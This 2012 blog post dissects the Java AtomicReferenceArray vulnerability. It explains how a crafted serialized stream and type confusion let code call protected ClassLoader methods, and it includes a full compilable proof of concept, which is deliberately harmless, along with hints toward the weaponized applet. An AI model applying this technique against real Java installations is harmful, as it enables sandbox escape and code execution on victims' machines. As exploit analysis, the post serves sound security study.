Friday, September 7, 2012

Java AtomicReferenceArray Exploit Dissected

I was fascinated and baffled as to how the Java AtomicReferenceArray exploit works. As usual, I googled for articles on this topic but they only give a high-level overview of how this exploit works. So I decided to get my hands dirty to really understand how and why it works, down to the nitty gritty details. At the very end is the full, compilable Java source code that demonstrates the ability to call the protected ClassLoader.getPackages() method (line 12), using an instance of the system class loader, or a.k.a. the JVM's class loader. And the code below is not malicious. It is harmless, so feel free to compile and run it!

A full malicious exploit would use the protected ClassLoader.defineClass() method to load additional classes with arbitrary privileges that sets up a backdoor for hackers to infiltrate. The Metasploit exploit is one such malicious example. It is basically a trojan applet that runs in a web browser. When the browser downloads and initializes the applet embedded on a web page, the applet runs a shell process (cmd.exe for Windows and /bin/sh for Linux) and sets up a server so that a hacker could connect to the victim's machine to run arbitrary commands.

It is recommended that you first read this article on type confusion and this article on the actual exploit for some background information before you carry on reading.

There are 2 key points that make the malicious exploit possible:

  1. The AtomicReferenceArray class does not ensure type safety.
    This class uses the  sun.misc.Unsafe class to store references into its array field without ensuring type safety, thus allowing an instance of class A to pass off as an instance of class B. One of the objectives of the exploit is to use the JVM's ClassLoader instance defineClass() method to load additional classes with arbitrary privileges. Notice that the ClassLoader class is abstract, so you would need to get an instance of it indirectly, such as using ClassLoader.getSystemClassLoader() or Object.getClass().getClassLoader(). But since the ClassLoader.defineClass() method is protected, it is impossible to call the defineClass() method directly. It is also impossible to call the defineClass() method through a subclass of ClassLoader, that is, have class X call ClassLoader.defineClass() where X is a subclass of ClassLoader. To illustrate, consider the following code:
    1
    2
    3
    4
    5
    6
    7
    public class X extends ClassLoader
    {
        public static void exploit(ClassLoader inst)
        {
            inst.defineClass(...);
        }
    }
    This will not compile even though X is a subclass of ClassLoader, because X is outside of the package java.lang where ClassLoader is found. So accessing defineClass() is not as straightforward!

    The proper way to call defineClass() is:
    1
    2
    3
    4
    5
    6
    7
    public class X extends ClassLoader
    {
        public static void exploit(X inst)
        {
            inst.defineClass(...);
        }
    }
    
    Notice the type of the argument 'inst' is changed to X. This code works because X inherits the protected defineClass() method from ClassLoader. However, any instance of X will not have sufficient privileges to call the inherited defineClass() method to load additional classes with arbitrary privileges. This is when type-confusion comes in. Because the AtomicReferenceArray class does not ensure type safety, we can use its set() method to pass off the JVM's ClassLoader instance as an instance of X. This sounds weird because ClassLoader is a superclass of X, and we are using ClassLoader as X! At line 9, the 'instance' argument is really an instance of ClassLoader and not X! At line 12, the Java runtime system is fooled into thinking we are calling X.getPackages() when we are really calling ClassLoader.getPackages().
     
  2. The Java object deserializer allows the use of references.
    This is a crucial point that actually allows us to gain access to the private 'array' field of the  AtomicReferenceArray class. TC_REFERENCE is used to expose this private field member. (See lines 103 to 116). Notice that the private 'array' field is of type Object[] but it is set to reference to an array of type X[]. This is perfectly legitimate as all classes in Java, except for Object itself, are subclasses of Object, either directly or indirectly. When the 'atomicRefArray' instance modifies its private 'array' field, it is actually modifying 'loaderArray'.

    We handcrafted the 'data' array in the code below by modifying an existing serialized stream (which is based on Metasploit's exploit), to take advantage of the referencing ability. We commented the 'data' array so you can understand exactly what is going on. This exploit of the deserializer works in tandem with type-confusion to allow us to call the powerful JVM's ClassLoader instance's defineClass() method. 

The code below is minimal to demonstrate the harmless exploit. Of course, the method convert() (line 19) is not necessary if the data array is stored as a byte array. But we made it an object array for the sake of clarity so that we can explain the actual contents.

The STREAM_*, TC_* and SC_* constants come from the ObjectStreamConstants interface which is implemented by ObjectInputStream, the Java default object deserializer. Strings are stored in the format defined by the method DataOutputStream.writeUTF().

Some questions you might have:
  1. Why not just do a new X() to create a ClassLoader instance?
    Answer: This would work perfectly fine if the MyExploit class is run by using, for example, "java MyExploit", otherwise this would generate a SecurityException if MyExploit is an applet. But then again if the code is run on the command line, it should already have all permissions, including access to the disk.
  2. Why can't I use sun.misc.Unsafe to directly bypass type safety? Answer: The Unsafe class has a private constructor and cannot be subclassed. So the only way to get an instance of it is to use the static method Unsafe.getUnsafe(), but only trusted code has the rights to retrieve an instance (e.g. Java runtime libraries).
  3. How do I actually write a real exploit? Answer: Well, one of the first steps is to turn MyExploit into a subclass of java.applet.Applet. And the rest, you have to figure it out .... :) But note that some browsers, such as Chrome, will prompt the user before running any applet. Also, there is already a patch released to fix this vulnerability but I think not all vulnerable machines have been patched yet...


  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
import java.util.concurrent.atomic.AtomicReferenceArray;
import java.io.*;
import java.util.*;

public class MyExploit 
{
    private static class X extends ClassLoader implements Serializable
    {
        public static void exploit(X instance)
        {
            // Calling the protected method ClassLoader.getPackages()!!
            Package[] packages = instance.getPackages();    

            for (Package p : packages)
                System.out.println(p.getName());
        }
    }

    private static byte[] convert(Object[] data)
        throws UnsupportedEncodingException
    {
        ByteArrayOutputStream bos = new ByteArrayOutputStream();

        for (int i = 0; i < data.length; i++)
        {
            Object elem = data[i];
            if (elem instanceof String)
            {
                byte[] bytes = ((String)elem).getBytes("UTF-8");
                bos.write(bytes, 0, bytes.length);
            }
            else if (elem instanceof Integer)
                bos.write((byte)(int)(Integer) elem);
            else
                throw new RuntimeException("unrecognized class: " + 
                    elem.getClass().getName());
        }

        return bos.toByteArray();
    }

    public static void main(String[] args)
        throws Exception
    {
        final String OBJECT_CLASS = "java.lang.Object";
        final String LOADER_CLASS = "MyExploit$X";
        final String ATOMIC_CLASS = 
            "java.util.concurrent.atomic.AtomicReferenceArray";

        // This dat array stores wrapperArray (see below)
        Object[] data = { 
        0xAC, 0xED,  // STREAM_MAGIC
        0x00, 0x05,  // STREAM_VERSION
        0x75,        // TC_ARRAY (wrapperArray)
            0x72,    // TC_CLASSDESC
                0, 3 + OBJECT_CLASS.length(), 
                "[L", OBJECT_CLASS, ";", // Specifies the Object class
                -112, -50, 88, -97, 16, 115, 41, 108, // Serial UID (long)
                0x02,         // SC_SERIALIZABLE 
                0, 0,         // num fields
                0x78,         // TC_ENDBLOCKDATA
                0x70,         // TC_NULL

            0, 0, 0, 2,       // num elements in wrapperArray 

            0x75,             // TC_ARRAY (loaderArray == wrapperArray[0])
                0x72,         // TC_CLASSDESC
                    0, 3 + LOADER_CLASS.length(), 
                    "[L", LOADER_CLASS, ";", 
                    -2, 44, -108, 17, -120, -74, -27, -1, // Serial UID (long) 
                    0x02,     // SC_SERIALIZABLE
                    0, 0,     // num fields
                    0x78,     // TC_ENDBLOCKDATA
                    0x70,     // TC_NULL
                
                0, 0, 0, 1,   // num elements in loaderArray

                0x70, // TC_NULL (null == loaderArray[0])

            0x73,     // TC_OBJECT (atomicRefArray == wrapperArray[1])
                0x72, // TC_CLASSDESC
                    0, ATOMIC_CLASS.length(), 
                    ATOMIC_CLASS,
                    -87, -46, -34, -95, -66, 101, 96, 12, // Serial UID (long)
                    0x02,       // SC_SERIALIZABLE
                    0, 1,       // num fields
                
                    "[",        // type code 
                    0, 5,       // length of "array"
                    "array",    // atomicRefArray array field name
                    
                        0x74,   // TC_STRING
                        0, 19,  // length of next String
                        "[Ljava/lang/Object;", // type of field == Object[]

                    0x78,       // TC_ENDBLOCKDATA
                    0x70,       // TC_NULL
                
                0x71, // TC_REFERENCE (atomicRefArray array field 
                      //               is a ref to loaderArray)
                    0, 0x7E, 0, 3 // wire handle (baseWireHandle == 0x7e0000)
        };

        ObjectInputStream ois = new ObjectInputStream(
                                    new ByteArrayInputStream(convert(data)));
        Object[] wrapperArray = (Object[])ois.readObject();

        X[] loaderArray = (X[])wrapperArray[0];
        AtomicReferenceArray atomicRefArray = 
                (AtomicReferenceArray)wrapperArray[1];

        // atomicRefArray's array field is private but since it is a reference
        // to loaderArray, we can access the array field.
        
        // this 'set' will change loaderArray[0] to the JVM base class loader
        atomicRefArray.set(0, X.class.getClassLoader());

        // loaderArray == atomicRefArray.array
        X.exploit(loaderArray[0]);
    }
}